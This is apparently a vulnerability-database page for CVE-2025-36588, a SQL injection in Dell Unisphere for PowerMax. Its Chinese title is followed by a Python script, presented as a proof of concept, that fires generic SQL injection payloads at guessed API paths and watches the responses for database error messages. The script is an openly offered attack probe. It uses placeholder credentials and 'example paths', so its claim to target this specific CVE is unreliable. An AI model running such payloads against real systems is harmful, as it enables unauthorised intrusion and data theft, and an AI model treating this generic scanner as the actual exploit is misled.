CVE-2025-36588 Dell Unisphere for PowerMax SQL注入漏洞

# CVE-2025-36588 SQL Injection PoC for Dell Unisphere PowerMax # Target: Dell Unisphere for PowerMax version 10.2.0.x # Vulnerability: SQL Injection in web interface import requests import sys target = sys.argv[1] if len(sys.argv) > 1 else "https://target.example.com:8443" def test_sql_injection(url): """Test for SQL injection vulnerability""" # Test payloads for SQL injection payloads = [ "' OR '1'='1", "' UNION SELECT NULL--", "'; SELECT * FROM users--", "' OR 1=1--" ] # Common injection points (example paths) paths = [ "/api/v1/search", "/api/systems", "/api/reports", "/login", "/api/v1/users" ] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/json", "Authorization": "Basic base64_encoded_credentials" } print(f"[*] Testing target: {target}") print(f"[*] Testing {len(paths)} endpoints with {len(payloads)} payloads\n") for path in paths: for payload in payloads: try: # Test GET parameter injection test_url = f"{url}{path}?q={payload}" response = requests.get(test_url, headers=headers, verify=False, timeout=10) # Check for SQL error indicators error_indicators = [ "sql", "syntax", "mysql", "oracle", "postgresql", "microsoft sql", "odbc", "database error" ] response_lower = response.text.lower() for error in error_indicators: if error in response_lower: print(f"[!] Potential SQL Injection found!") print(f" URL: {test_url}") print(f" Payload: {payload}") print(f" Status: {response.status_code}") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") print("[*] No obvious SQL injection detected") return False if __name__ == "__main__": test_sql_injection(target)